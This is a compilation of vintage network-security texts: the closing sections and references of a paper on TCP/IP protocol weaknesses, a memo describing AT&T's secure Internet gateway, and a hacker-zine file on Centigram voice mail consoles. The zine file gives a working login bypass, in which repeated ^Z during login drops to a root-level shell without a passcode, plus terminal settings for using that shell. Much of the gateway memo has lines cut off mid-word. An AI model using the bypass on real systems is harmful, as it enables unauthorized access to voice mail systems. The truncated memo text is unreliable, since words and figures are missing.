10. We are assuming that TCP is handled by the host, and not by a front-end processor.

TCP checksum tests and make it to the application. A combination of end-to-end encryption and link-level encryption can be employed to guard against this. An intriguing alternative would be to encrypt the data portion of the TCP segment, but not the header; the TCP checksum would be calculated on the cleartext, and hence would detect spurious packets. Unfortunately, such a change would be incompatible with other implementations of TCP, and could not be done transparently at application level.

Regardless of the method used, a major benefit of encrypted communications is the implied authentication they provide. If one assumes that the key distribution center is secure, and the key distribution protocols are adequate, the very ability to communicate carries with it a strong assurance that one can trust the source host's IP address for identification.

This implied authentication can be especially important in high-threat situations. A routing attack can be used to "take over" an existing connection; the intruder can effectively cut the connection at the subverted machine, send dangerous commands to the far end, and all the while translate sequence numbers on packets passed through so as to disguise the intrusion.

It should be noted, of course, that any of these encryption schemes provide privacy. Often that is the primary goal of such systems.

7.3 Trusted Systems

Given that TCP/IP is a Defense Department protocol suite, it is worth asking to what extent the Orange Book[48] and Red Book[49] criteria would protect a host from the attacks described above. That is, suppose that a target host (and the gateways!) were rated B1 or higher. Could these attacks succeed? The answer is a complex one, and depends on the assumptions we are willing to make. In general, hosts and routers rated at B2 or higher are immune to the attacks described here, while C2-level systems are susceptible. B1-level systems are vulnerable to some of these attacks, but not all.

In order to understand how TCP/IP is used in secure environments, a brief tutorial on the military security model is necessary. All objects in the computer system, such as files or network channels, and all data exported from them, must have a label indicating the sensitivity of the information in them. This label includes hierarchical components (i.e., Confidential, Secret, and Top Secret) and non-hierarchical components. Subjects -- i.e., processes within the computer system -- are similarly labeled. A subject may read an object if its label has a higher or equal hierarchical level and if all of the object's non-hierarchical components are included in the subject's label. In other words, the process must have sufficient clearance for the information in a file. Similarly, a subject may write to an object if the object has a higher or equal level and the object's non-hierarchical components include all of those in the subject's level. That is, the sensitivity level of the file must be at least as high as that of the process. If it were not, a program with a high clearance could write classified data to a file that is readable by a process with a low security clearance.

A corollary to this is that for read/write access to any file, its security label must exactly match that of the process. The same applies to any form of bidirectional interprocess communication (i.e., a TCP virtual circuit): both ends must have identical labels.

We can now see how to apply this model to the TCP/IP protocol suite. When a process creates a TCP connection, that connection is given the process's label. This label is encoded in the IP security option. The remote TCP must ensure that the label on received packets matches that of the receiving process. Servers awaiting connections may be eligible to run at multiple levels; when the connection is instantiated, however, the process must be forced to the level of the connection request packet.

IP also makes use of the security option[50]. A packet may not be sent over a link with a lower clearance level. If a link is rated for Secret traffic, it may carry Unclassified or Confidential traffic, but it may not carry Top Secret data. Thus, the security option constrains routing decisions. The security level of a link depends on its inherent characteristics, the strength of any encryption algorithms used, the security levels of the hosts on that network, and even the location of the facility. For example, an Ethernet cable located in a submarine is much more secure than if the same cable were running through a dormitory room in a university.

Several points follow from these constraints. First, TCP-level attacks can only achieve penetration at the level of the attacker. That is, an attacker at the Unclassified level could only achieve Unclassified privileges on the target system, regardless of which network attack was used11. Incoming packets with an invalid security marking would be rejected by the gateways.

Attacks based on any form of source-address authentication should be rejected as well. The Orange Book requires that systems provide secure means of identification and authentication; as we have shown, simple reliance on the IP address is not adequate. As of the B1 level, authentication information must be protected by cryptographic checksums when transmitted from machine to machine12.

The authentication server is still problematic; it can be spoofed by a sequence number attack, especially if netstat is available. This sort of attack could easily be combined with source routing for full interactive access. Again, cryptographic checksums would add significant strength.

B1-level systems are not automatically immune from routing attacks; RIP-spoofing could corrupt their routing tables just as easily. As seen, that would allow an intruder to capture passwords, perhaps even some used on other trusted systems. To be sure, the initial penetration is still restricted by the security labelling, but that may not block future logins captured by these means.

Routing attacks can also be used for denial of service. Specifically, if the route to a secure destination is changed to require use of an insecure link, the two hosts will not be able to communicate. This change would probably be detected rather quickly, though, since the gateway that noticed the misrouted packet would flag it as a security problem.

At the B2 level, secure transmission of routing control information is required. Similar requirements apply to other network control information, such as ICMP packets.

---

11. We are assuming, of course, that the penetrated system does not have bugs of its own that would allow further access.

12. More precisely, user identification information must be protected to an equal extent with data sensitivity labels. Under certain circumstances, described in the Red Book, cryptographic checks may be omitted. In general, though, they are required.

Several attacks we have described rely on data derived from "information servers", such as netstat and finger. While these, if carefully done, may not represent a direct penetration threat in the civilian sense, they are often seen to represent a covert channel that may be used to leak information. Thus, many B-division systems do not implement such servers.

In a practical sense, some of the technical features we have described may not apply in the military world. Administrative rules[51] tend to prohibit risky sorts of interconnections; uncleared personnel are not likely to have even indirect access to systems containing Top Secret data. Such rules are, most likely, an accurate commentary on anyone's ability to validate any computer system of non-trivial size.

8. CONCLUSIONS

Several points are immediately obvious from this analysis. The first, surely, is that in general, relying on the IP source address for authentication is extremely dangerous[13]. Fortunately, the Internet community is starting to accept this on more than an intellectual level. The Berkeley manuals[3] have always stated that the authentication protocol was very weak, but it is only recently that serious attempts (i.e., Kerberos[35] and SunOS 4.0's DES authentication mode[52]) have been made to correct the problem. Kerberos and SunOS 4.0 have their weaknesses, but both are far better than their predecessor. More recently, an extension to the Network Time Protocol (NTP)[53] has been proposed that includes a cryptographic checksum[54].

A second broad class of problems is sequence number attacks. If a protocol depends on sequence numbers -- and most do -- it is vital that they be chosen unpredictably. It is worth considerable effort to ensure that these numbers are not knowable even to other users on the same system.

---

13. There are some exceptions to this rule. If the entire network, and all of its components (hosts, gateways, cables, etc.) are physically protected, and if all of the operating systems are sufficiently secure, there would seem to be little risk.

We may generalize this by by stating that hosts should not give away knowledge gratuitously. A finger server, for example, would be much safer if it only supplied information about a known user, rather than supplying information about everyone logged on. Even then, some censorship might be appropriate; a refusal to supply the last login date and other sensitive information would be appropriate if the account was not used recently. (Never-used accounts often have simple default passwords. Infrequently-used accounts are often set up less carefully by the owner.) We have also seen how netstat may be abused; indeed, the combination of netstat with the authentication server is the single strongest attack using the standardized Internet protocols.

Finally, network control mechanisms are dangerous, and must be carefully guarded. Static routes are not feasible in a large-scale network, but intelligent use of default routes and verifiable point-to-point routing protocols (i.e., EGP) are far less vulnerable than broadcast-based routing.

9. ACKNOWLEDGEMENTS

Dave Presotto, Bob Gilligan, Gene Tsudik, and especially Deborah Estrin made a number of useful suggestions and corrections to a draft of this paper.

REFERENCES

1. E.J. Feinler, O.J. Jacobsen, M.K. Stahl, C.A. Ward, eds. DDN Protocol Handbook. DDN Network Information Center, SRI International, 1985.

2. Comer, D. Internetworking with TCP/IP: Principles, Protocols, and Architecture. Prentice Hall, 1988

3. Computer Systems Research Group. UNIX User's Reference Manual (URM). 4.3 Berkeley Software Distribution Virtual Vax-11 Version. Computer Science Division, Department of Electrical Engineering and Computer Science, University of California, Berkeley. 1986.

4. Spafford, E.H. The Internet Worm Program: An Analysis. Purdue Technical Report CSD-TR-823, Department of Computer Sciences Purdue University, West Lafayette, IN. 1988

5. Seeley, D. A Tour of the Worm. Department of Computer Science, University of Utah. 1988.

6. Eichin, M. and Rochlis, J. With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988. Massachussetts Institute of Technology, 1988.

7. Morris, R.T. 1985. A Weakness in the 4.2BSD UNIX TCP/IP Software. Computing Science Technical Report No. 117, AT&T Bell Laboratories, Murray Hill, New Jersey.

8. Reynolds, J.K., and J. Postel. Assigned Numbers. RFC 990, 1986

9. Mills, D.L. Internet Delay Experiments, RFC 889, 1983.

10. Blum, M. and Micali, S. "How to Generate Cryptographically Strong Sequences of Pseudo-Random Bits". SIAM J Computing, vol. 13, no. 4, pp. 850-864, Nov. 1984.

11. US Federal Information Processing Standards Publication (FIPS PUB) 46, Data Encryption Standard, 15 January 1977.

12. US Federal Information Processing Standards Publication (FIPS PUB) 81. DES Modes of Operation, 2 December 1980.

13. Bishop, M. An Application of a Fast Data Encryption Standard Implementation. Technical Report PCS-TR88-138, Department of Mathematics and Computer Science, Dartmouth College, Hanover, NH. 1988.

14. Mogul, J. "Simple and Flexible Datagram Access Controls for UNIX-based Gateways", Proceedings, Summer USENIX, 1989, Baltimore, Maryland (to appear).

15. Hedrick, C. Routing Information Protocol. RFC 1058, 1988.

16. Mills, D.L. Exterior Gateway Protocol Formal Specification. RFC 904, 1984.

17. Postel, J. Internet Control Message Protocol. RFC 792, 1981.

18. St. Johns, M. Authentication Server. RFC 931, 1985.

19. Defense Advanced Research Projects Agency, Internet Activities Board. IAB Official Protocol Standards. RFC 1083, 1988

19. Postel, J. Private communication. 1989.

20. Needham, R.M. and Schroeder, M.D. "Using Encryption for Authentication in Large Networks of Computers". Communications of the ACM, vol. 21, no. 12, pp. 993-999, December 1978.

21. Denning, D.E. and Sacco, G.M. "Timestamps in Key Distribution Protocols", Communications of the ACM, vol. 24, no. 8, pp. 533-536, August 1981.

22. Needham, R.M. and Schroeder, M.D. "Authentication Revisited", Operating Systems Review, vol. 21, no. 1, p. 7, January 1987.

23. Harrenstien, K. NAME/FINGER Protocol, RFC 742, 1977.

24. Grampp, F.T. and Morris, R.H. "UNIX Operating System Security", AT&T Bell Laboratories Technical Journal, vol. 63, no. 8, part 2, October, 1984.

25. Crocker, D. Standard for the Format of ARPA-Internet Text Messages. RFC 822, 1982.

26. Postel, J. Simple Mail Transfer Protocol. RFC 821, 1982.

27. Linn, J. Privacy Enhancement for Internet Electronic Mail: Part I: Message Encipherment and Authentication Procedures. RFC 1040, 1988.

28. Butler, M.; Postel, J.B.; Chase, D.; Goldberger, J.; Reynolds, J.K. Post Office Protocol - Version 2. RFC 937, 1985.

29. Diffie, W. "The First Ten Years of Public Key Cryptography". Proc. IEEE, vol. 76, no. 5, pp. 560-577, May 1988.

30. Rose, M. Post Office Protocol - Version 3. RFC 1081, 1988

31. Lambert, M.L. PCMAIL: A Distributed Mail System for Personal Computers. RFC 1056, 1988

32. Mockapetris, P. Domain Names - Concepts and Facilities. RFC 1034, 1987.

33. Mockapetris, P. Domain Names - Implementations and Specifications. RFC 1035, 1987.

34. Dyer, S.P. "Hesiod", Proceedings, Winter USENIX, 1988, Dallas, Texas.

35. Steiner, J.G, Neuman, C., Schiller, J.I. "Kerberos: An Authentication Service for Open Network Systems", Proceedings, Winter USENIX, 1988, Dallas, Texas.

36. Postel, J. File Transfer Protocol. RFC 959, 1985.

37. Case, J., Fedor, M., Schoffstall, J., and Davin, J. A Simple Network Management Protocol. RFC 1067, 1988.

38. McCloghrie, K. and Rose, M. Management Information Base for Network Management of TCP/IP-based Internets. RFC 1066. 1988.

39. Finlayson, R.; Mann, T.; Mogul, J.; Theimer, M. Reverse Address Resolution Protocol. RFC 903, 1984.

40. Sollins, K.R. The TFTP Protocol (Revision 2). RFC 783, 1981.

41. Croft, W.J.; Gilmore, J. Bootstrap Protocol. RFC 951, 1985.

42. Plummer, D.C. An Ethernet Address Resolution Protocol. RFC 826, 1982.

43. Diffie, W. and Hellman, M.E. "New Directions in Cryptography." IEEE Transactions on Information Theory, vol. IT-22, no. 6, pp. 644-654.

44. Voydock, V.L. and Kent, S.T. "Security Mechanisms in High-Level Network Protocols". ACM Computer Surveys, vol. 15, no. 2, pp. 135-171, June 1983.

45. Davies, D.W. and Price, W.L. Security for Computer Networks: An Introduction to Data Security in Teleprocessing and Electronic Funds Transfer. Wiley. 1984.

46. Defense Communications Agency. Defense Data Network Subscriber Security Guide. 1983.

47. "Blacker Front End Interface Control Document", in DDN Protocol Handbook. DDN Network Information Center, SRI International, vol. 1, 1985.

48. DoD Computer Security Center. DoD Trusted Computer System Evaluation Criteria, 1983, CSC-STD-001-83.

49. National Computer Security Center. Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria. NCSC-TG-005, Version 1, July 31, 1987.

50. St. Johns, M. Draft Revised IP Security Option. RFC 1038, 1988.

51. DoD Computer Security Center. Technical Rationale Behind CSC-STD-003-85: Computer Security Requirements, CSC-STD-004-83, 1983.

52. Taylor, B. and Goldberg, D. "Secure Networking in the Sun Environment". Proceedings, Summer USENIX, 1986, Atlanta, Georgia.

53. Mills, D.L. Network Time Protocol (Version 1)

Specification and Implementation. RFC 1059, 1988.

54. Mills, D.L. Mailing list message <8901192354.aa03743@Huey.UDEL.EDU>, January 19, 1989.

=-

The Design of a Secure Internet Gateway

Bill Cheswick
10 September 1991
TECHNICAL MEMORANDUM

Abstract

The Internet supports a vast and growing community of computer users around the world.
Unfortunately, this network can provide anonymous access to this community by unscrupulous, careless, or dangerous people.
On any given Internet there is a certain percentage of poorly-maintain systems.
AT&T has a large internal
Internet that we wish to protect from outside attacks, while providing useful services between the two.

This paper describes our Internet gateway. It is an application-level gateway that passes mail and many of the common Internet services between our internal machines and the Internet. This is accomplished without IP connectivity using a pair of machines: a trusted internal machine and an untrusted external gateway. These are connected by a p link. The internal machine provides a few carefully-guarded services to the external gateway. This configuration helps protect the interna internet even if the external machine is fully compromised.

This is a slightly-updated version of the paper presented at the 1990 summer Usenix at Anaheim.

Introduction

The design of a Corporate gateway to the Internet must deal with the classical tradeoff between security and convenience. Most institution opt for convenience and use a simple router between their internal internets and the rest of the world. This is dangerous.
Strangers on the Internet can reach and test every internal machine.
With workstations sitting on many desks, system administration is often decentralized and neglected. Passwords are weak or missing.
A professor or researcher often may install the operating system and forget it, leaving well-known security holes uncorrected.
For example, a sweep of 1,300 machines inside Bell Labs around

the time of the Internet Worm found over 300 that had at least one of several known security holes.

When we first obtained a connection to the ARPAnet, Dave Presotto configured our gateway machine (named arpa) as an application-level gateway. For two years this machine was the sole official link to the Internet for AT&T. Until its disconnection in 1989, this VAX 7 all the Internet mail traffic and other services for the company. Arpa had Ethernet connections to both the inside and outside Internets like a router. It could also make and accept calls on our corporate D network.

Dave took a number of steps to make our gateway more secure. He turned off IP forwarding in the kernel so packets could not travel between the Internets. He installed a kernel modification that limited TCP connections from arpa to the inside network to smtp, named, and hostname ports. And he rejected the sendmail mailer as too complicated and dangerous: the Upas [cite upas] mailer was installed in its place. We removed a number of non-essential daemons, including finger server.

To give insiders access to the Internet, a gate service was installed on arpa. Insiders could call this service and supply an Internet address. The gate connected to a socket of a remot Internet host and then copied bytes between the two connections. It w easy to provide atelnet, a version of telnet that used the gate servic Aftp supplied FTP services: it was the standard ftp modified so both command and data connections were initiated from the inside. (The sta ftp would have tried to make the data connection from arpa to the insi connection prohibited by arpa's kernel.)

This configuration successfully resisted the Internet worm. We ran ne sendmail nor fingerd, the two programs exploited by the worm. [cite se internal internet was spared the infection. (Actually, there was a se unguarded IP link to the Outside. We got lucky: only a few machines at the other end knew of the link, and their machines were shut down before the worm could creep across.)

Had arpa been infected, the worm could have reached the inside machines. The initial smtp sendmail connection was permitted, and the worm's second connection would have been initiated from the inside target machine into arpa, the permitted direction.

The new gateway

All of arpa's protection has, by design, left the internal AT&T machin untested---a sort of crunchy shell around a soft, chewy center. We run security scans on internal machines and bother system administr when holes are found. Still, it would be nice to have a gateway that demonstrably secure to protect the internal machines. For peace of mi the gateway design should not rely on vendors' code more than absolute necessary. We would like the internal machines protected even if an i breaks into the gateway machine, becomes root, and creates and runs a kernel.

We had to replace arpa. The VAX 750 ran with typical load averages of to twelve jobs throughout the day. When the load average hit about fifteen, the old Datakit driver expired, wedging the Datakit ports and requiring a reboot.

A new machine gave the opportunity for a clean start.
We could re-think the security arrangements to improve on arpa's short

Our new gateway machine, named inet, is a MIPS M/120 running RISC/OS, a System V implementation with Berkeley enhancements. Various daemons critical programs have been obtained from other sources, checked, and installed.

We store nothing vital or secret on inet, since we assume that it may defeated in unforeseen ways. It does not run uucp---systems files and could fall into the wrong hands. There are few system administration and user accounts are discouraged.
Inet is not used for other tasks.
It is backed up regularly, and scanned for unauthorized changes and common system administration mistakes.
Though we don't trust inet, we protect it as much as we can.

Inet has a single Ethernet port which is connected to a router on JVNCnet, our external regional network. It also has a connection t
We have configured our Datakit controller to force all connections from inet to a single internal machine, named r70.
R70 can redial, or splice connections to other internal machines. R70 provides a limited set of services to inet for reaching internal machi
The list of services are:
1. connection to an approved machine's smtp port,
2. connection to a login or trusted-login Datakit destination after passing a challenge-response test, and
3. connection to a logging service.

The key to the arrangement is a restricted channel from inet to r70. This private channel was easily constructed using stock featu our research Datakit controller. Other connection schemes could be im using a simple multiplexed protocol over some back-to-back connection between the machines, or a simple two-machine Ethernet would suffice.
If the last approach is used with TCP, the internal machine must supply differing TCP services to its two Ethernet interfaces. (I am not sure this is possible with stock commercial TCP software. It wouldn't be too hard to modify inetd to do this.)

These functions do not load the internal machine too much;
it could have other uses like uucp, mail, or even normal user jobs.

But the services it provides the external machine are the key
to security, and must be protected well.

Outbound services
-------- --------

It is quite easy to implement most outbound services to the Internet.
Inet has a small program, named proxy (a descendant of arpa's
gate), that makes calls to the Internet on behalf of an inside machine
and relays bytes between the inside Datakit connection and the outside
Internet TCP connection. Proxy can also listen to a non-privileged so
and report connections to an inside process. Several outbound service
are implemented using proxy, and more are easy to create.
In all cases, it appears to the remote Internet hosts that our gateway
machine is making the calls.

%%%% picture of a proxy call

Inet may be reached over the Datakit.
But how do internal machines reach inet over the Ethernet?
R70 responds to two IP addresses: its own, and an internal IP address
inet. (Dave Presotto implemented this after a trivial change to the
Tenth Edition Research Unix connection server. [cite connection]
Calls to certain TCP ports on this internal IP address invoke dcon, a
program that simply relays the bytes between the TCP port
and Datakit connections on inet.

I have replaced the old aftp and atelnet with ptelnet and pftp. They
in the same manner, but the new routines call a portable implementatio
ipcopen, a piece of the connection server. Ipcopen hides the details
a connection (TCP sockets or Datakit), simplifying the application pro
For example:
ptelnet tcp!toucan
connects to machine toucan on our internet, and
ptelnet proxy!ernie.berkeley.edu
connects to ernie.berkeley.edu on the external Internet.
proxy! is the default.
The ipcopen implementation is not flawless:
some socket features such as out-of-band data and the urgent pointer
are missing because they are not supported by Datakit.
Ptelnet was stripped down to avoid these features.

%%%% figure of a proxy

Pftp provides FTP access in a similar manner. It is an updated
version of aftp from arpa. The ipcopen routines allow it to work over

The proxy software is available
by anonymous FTP from toucan.zoo.att.com. The file is proxy.tar.Z.

% figure of pftp and ftp function

Outgoing mail is sent to inet via smtp over either Datakit or the internal Internet. It is stored and forwarded from there. Upas performs the mail gateway functions.

```
$ telnet research.att.com
Trying...
Connected to research.att.com.
Escape character is '^]'.


RISC/os (inet)

login: guard
RISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
All Rights Reserved
Security Authentication check

login: ches
Enter response code for 90902479: 818b71fe

Destination please: coma
OKYou have mail.
coma=; date
Tue Nov 14 10:52:37 EST 1989
coma=;
Eof
Connection closed by foreign host.
$
```

A connection session through the guard.

Inbound services
------- --------
We provide incoming login and mail service. For incoming file transfe
inet provides an anonymous FTP service.

We do not trust our passwords to the Internet: it is too easy to eave
or steal packets. See [cite smb] for a discussion of these security p
Login service requires a hand-held authenticator (HHA). These are
calculator-sized devices that contain DES encryption and a manually-lo
64-bit key. They cost about $60.

Inbound login service is provided through an authentication manager on
r70. A session is shown in figure [ref connect].
To connect, the following sequence occurs:

1. The Internet caller uses telnet to connect to research.att.com
   inet via telnet. The login name is tt guard.
2. The tt guard login connects to the authentication manager on r70

over the Datakit. It spends the rest of the connection relaying bytes between the two connections.

3. The authentication manager on r70 requests a login name.
4. R70 sends a random challenge number, which the caller supplies.
5. The user enters the challenge into his HHA.
6 The HHA encrypts the challenge using a pre-loaded DES key, and displays the response.
7. The user types the response. He has three tries to answer a challenge correctly, and is disconnected if he fails.
8. The authorization manager prompts for a Datakit destination.
9. When the user enters the destination, the manager sends a redial request to the Datakit controller with the given destination a a service of 'dcon'. For machines that trust r70, the 'dcon' service bypasses further logins and avoids further passwords.
10. The redial request transfers the call, switching r70 out of the connection. Connections for a TCP host are handed to rlog

Users may wish to trust the gate machine and so avoid typing any passw over the internet. TCP callers can put r70-mhbb.research.att.com in t .rhosts file. For Datakit connections using the standard DKHOST softw they can log in through the guard once using ptelnet, and then request destination area/exchange/host.authorize.t.
This will connect them to their own machine's authorization server, which will prompt them for a login and password. Obviously, this should be done from a secure terminal, and not from out on the Internet.
(Both of these practices are dangerous. Do you really want to trust r70? It is probably safer than entering passwords on some alien workstation out on the Internet. We frown on user-level authenticatio general, preferring to have the system administrator make and support judgements.)

Each user requires a DES key, and keys have an expiration date.
The key file is stored on r70 in a file readable only by root.
This is unfortunate, and the file will probably move into an authentic manager somewhere.

Inbound mail is delivered directly to inet.
Inet checks the destination. If it is a trusted machine (i.e. its smtp is trusted), a connection request is sent to r70. If not, the mail is relayed through an accessible internal machine.
R70 will permit connections only to trusted smtp implementations.
The list is short because most internal machines run sendmail.

% so why do we need inet? Why not a Cisco with inet on the inside?

%% The restricted list of known 112 smtps should be justified bot
%% a security standpoint and a practicality one -- some smtps (i.
%% sendmail on sunos) have security bugs. Thus, the techniques u
%% to let logins through are not acceptable for mail.

% what about network file system connections into inet? Another hole?

```
%%      You may want to have two public ftp directories, though I'm no
%%      exactly how to set things up this way without giving out inet
%%      'pub' is mode 555 or 755 not owned by ftp; it's used for 'bles
%%      outgoing packages that we advertise for pickup.  'incoming' is
%%      or 733 -- i.e., not readable from the outside.  If you know th
%%      file name, you can pick it up, but you can't snoop for stuff.
%%      avoids things like you putting a file in there for me, but a c
%%      plants a horse before I get to it.  I've recommended a similar
%%      to the Comp Centers; they like it so far.

%%      How does ftpd work without running as root?  On Berkeley syste
%%      at least, it can't function without being root when talking to
%%      a client that doesn't generate PORT commands.
```

Protecting INET

The preceding precautions might imply that we expect our gateway to be compromised at some point. In fact, we are taking great pains to protect the machine, including the usual good system administration steps needed to secure any Unix system [cite ritchie]: directory and f permissions are checked, backups performed regularly, etc.

We have taken some steps to avoid denial-of-service attacks. For example, the logs, the spool directory, and the publically-accessi FTP directory are each on separate file systems. If a stranger fills the public FTP directory, there is still room for the logs.

Here are some other steps taken:

1. All the important executable files are periodically checksummed and checked for changes.
2. Most user accounts do not have passwords to be checked. They obtain permission to login based on the source of the call.
3. User accounts are discouraged.
4. Non-essential network daemons have been removed: we don't need to trust them.
5. Inetd(8) handles all network connections. Certain modifications allow telnetd, smtpd, and ftpd to run with reduced permissions [cite ritchie] inetd handles the privileged stuff.
6. There is extensive logging of network activity, including connecti and login attempts. Logs are stored forever on a WORM-based b system.
7. Since the network daemons are so important to the security of the we obtained the latest BSD versions and examined, modified, an installed them.

Gateway alternatives

------- ------------

There are several much simpler alternatives for an Internet gateway. The simplest is a router, which just lets the packets through. Some routers, like Cisco's, provide packet filtering that can block various types of access to an institution.

We did not choose the router. Though the filtering is quite good, it' not clear whether a clever worm could get through the permitted ports. Can we trust the router?
If telnet access is allowed from the outside, inside machines are expo to password-guessing attacks. If telnet access is not allowed, an alt is needed anyway, requiring additional provisions. The router does no provide logging to detect invasion attempts. And mail gating must be provided by a machine somewhere: it is unreasonable to expect each in machine to be configured to handle all the varieties of external mail addressing.

Many Internet sites use a gateway machine like a Sun. These machines IP packets in both directions, and provide a mail gateway service. The packet flow is still dangerous, though filtering is available. Many internal machines may trust the gate machine, leaving them furthe exposed if the gate machine is compromised.

Performance

The mail throughput of the new gateway has been gratifying, though a VAX 750 is an easy act to follow. In many cases, we have had replies to cross-country mail return in less than a minute It sometimes seems that the mail must have bounced. Inet has little else to do, and a MIPS M/120 is a fast machine.

Pftp transfers are fastest over Datakit, since they avoid the dcon gateway in r70. File transfers range from 17 to 44 Kb/sec. TCP transfers through r70 run at 9 to 16 Kb/sec. By comparison, thinspace ftp on inet runs at about 60--90 Kb/sec.
Clearly, security has its costs. But these are top speeds. The limit factor is often the external net or host. The throughput seems adequa there have been no complaints.

```
% ftp> get /vmunix /dev/null
% 200 PORT command okay.
% 150 Opening data connection for /vmunix (192.20.225.2,2242) (707584
% 226 Transfer complete.
% 707584 bytes received in 15.834 seconds (43.64 Kbytes/s)

%
%       19505 bytes from pilot.njin.net:
%          dk to inet:   1.1 sec 17.3 K/sec
%          TCP to inet:  1.4 sec 13.6 K/sec
%          dk to att-in: 13 sec   1.5 K/sec
```

```
%
%       17403 bytes from uunet.uu.net:
%          dk to inet:   .84 sec 20.2 K/sec
%          TCP to inet:  1.9 sec  8.9 K/sec
%          dk to att-in: 9.2 sec  1.8 K/sec
%
%
```

Conclusions

The new gateway achieves a useful balance of utility and security. Most internal users seem to be happy with pftp and ptelnet. Some have asked for talk, resolver service and other UDP-bas protocols. These could be provided with non-proxy services on inet accessible through Datakit. Steve Bellovin has cooked up a scheme to support X through the gateway. The security implications ar frightening.

There are certainly limits to our security. If r70 and inet are subve the inside machines could be attacked.

Insiders can easily import trouble such as Trojan horses or programs infected with viruses. Our best defense is continued scanning of inte machines for security holes in case such a program gets loose.

There is now a second AT&T internet gateway [cite horton]. Its configuration is based on this work. These two front doors provide reasonable security to an isolated internal internet. But AT&T is a large company, so we keep a constant assure that no other links are made to the external Internet. A locke door is useless if the back wall of the house is missing.

The incoming guarded telnet service is not perfect. The remote telnet may be insecure, and the TCP connection itself could be stolen after login is complete. Most internal AT&T machines do not accept r70's judgement that the user is valid, and require their own login password These passwords travel over the Internet in the clear.

Our solution does have some drawbacks. We rely on two machines and Datakit to keep things working. This yields three points of failure, while the simpler approaches have (in some sense) only one point of failure. The use of TCP-level gatew does lower throughput. Though most users seem to be content with the pftp response, it would be nice to speed it up some. The uptime of th service is measured in months, and the mail transit time in seconds or

> This paper is not an invitation to come
> test the security of our gateway.
> It is management's policy to call the
> authorities when intruders are detected.

Acknowledgements

Many people have contributed to the support of these gateways. Steve Bellovin did most of the initial work to get ar talking to the ARPAnet and Datakit. Dave Presotto has supplied much of the software and most of the paranoia to provide a secure gateway. Howard Trickey implement earlier versions of ptelnet and pftp. Dennis Ritchie has kept a watchful eye and stepped in when things brok Steve Bellovin and others have provided numerous suggestions and warni on various networking and security topics. Jim McKie ported many useful Research Unix [cite V10] functions and th INCON Datakit driver to our MIPS computers, making life much easier fo

1. The box is completely reset.
   Enter a code digit and press "Enter":

digit	hexadecimal encryption	"error"
0	yes	yes
1	yes	no
4	no	yes
5	no	no

   Hexadecimal encryption provides slightly higher securi but it is easy to mistake "6" and "b". In decimal mode, the hexadecimal characters "a"--"c" and "d"--"f" are mapped to "2" and "3" respectively. The guard sof accepts either answer. The error mode displays "error if an invalid PIN is entered. Five invalid entries wi reset the box to . If "error" is off, the SNK provides an invalid encryption. We use mode 4.
2. Enter the DES key. The key consists of eight 8-bit bytes typed in octal. Press "Enter."
3. Enters a 4 to 16-digit PIN, followed by "Enter."
4. Re-enter the PIN, followed by "Enter."
5. Enter the PIN followed by "Enter".
6. Enter the challenge, followed by "Enter".
   The SNK displays the response.

Programming the Hand Held Authenticator

We use the Securenet Key SNK-4. It is available from

Digital Pathways
221 West Grand Avenue
Montvale NJ 07645

It costs $60 in unit quantities. Its major competitor is the SecureId card. The latter uses a time-based algorithm to generate the key and requires substantial and expensive software in the host. The SNK-4 needs a small program that uses the standard encrypt function.

We program the SNK-4s by hand, though a PC-based system is available as well. Figure [ref programming] details the programming steps.

The SNK shuts off automatically after 30 seconds. Press "On" to restart.

We have found that the battery runs down in the SNK if the "On" button is pressed continuously, say, in luggage. The bumps around the "On" switch don't protect the switch well enough. We suggest storing the box in the original packing material.

Bibliography

upas
    David Presotto.
    Upas - a simpler approach to network mail.
    USENIX Summer Conference Proceedings, pps.533-538, June 1985.

seeley
    Donn Seeley.
    A Tour of the Worm.
    USENIX Winter Conference Proceedings, Jan. 1989.

connection
    David Presotto and Dennis Ritchie.
    Interprocess Communication in the Ninth Edition UNIX System.
    Unix Programmer's Manual, Tenth Edition.
    A. G. Hume and M. D. McIlroy, Editors.
    AT&T Bell Laboratories, Murray Hill, NJ. 1990.

smb
    Bellovin, S.M.
    Security Problems in the TCP/IP Protocol Suite.
    Computer Communications Review, Vol. 9, No. 2; April, 1989, pps.32-48.

ritchie
    Ritchie, Dennis M.
    On the Security of UNIX.
    Unix Programmer's Manual, Tenth Edition.
    A. G. Hume and M. D. McIlroy, Editors.
    AT&T Bell Laboratories, Murray Hill, NJ. 1990.

V10
    Unix Programmer's Manual, Tenth Edition, Volumes One and Two.
    A. G. Hume and M. D. McIlroy, Editors.
    AT&T Bell Laboratories, Murray Hill, NJ. 1990.

horton
    Horton, Mark R.

Charter for an Electronic Communication Gateway Service - Issu
%MRH CB 45264 4276 1E-271
45264-881003.01IM.
=-

NIA074 / File 5

Notes on Centigram Voice Mail system Consoles

Proper entry procedure, possible design flaw and serious security bug:

Due to, I assume, more efficient task-handling and the desire for a more 'Unix-like' environment, the developers at Centigram needed for certain key functions to be available at all times. For instance, the ^Z key acts as the 'escape' key (these can be remapped, if desired). When necessary for some applications to use an 'escape' procedure, pressing this key can, in at leas cases, cause a drop to shell, or /cmds/qnxsh (possibly /cmds/sh, as well, but I'm used to seeing qnxsh). If this escape procedure were invoked during, say, /cmds/login, the resulting drop to shell would by-pass the 'Enter Passcode:' message. And it does.

After calling the Centigram, normal procedure is to hit ^Z to activate the terminal, followed by the entry of the remote or console passcodes, and then proceeding with normal console activities. However, if ^Z is continually depressed during the login sequence, the login program will abort and run /cmds/qnxsh. The behavior may be somewhat erratic by the repeat use of the escape key, but when the $ prompt appears, usually, it doesn't deliberately go away without an 'exit' command or a ^D. Typically, a login pattern can develop to accommodate the erratic behavior something along the lines of: continuously depress ^Z until $ prompt appears, hit return, possibly get 'Enter Passcode:' message, hit return, and $ prompt appears again, set proper tty setting, and change directory appropriately, and continue with normal console functions.

Initial STTY Setting:

I've had problems with my terminal settings not being set properly during the above entry procedure. I can correct this by using the "stty +echo +edit" command, and, for my terminal, all is restored. The correct values for STTY options and keys appear to be:

```
Options: +echo +edit +etab +ers +edel +oflow +mapcr +hangup
 break=03h     esc=1Ah     rub=7Fh     can=18h     eot=04h      up=15h

 down=
```

0Ah   left=08h   ins=0Eh   del=0Bh

The keymap, of course, can be modified as desired, but the options, especially +edit, appear to be necessary.

[A somewhat detailed description of the options could follow, or maybe just a list and a brief review of the ones I care to comment on]

Disks and directories:

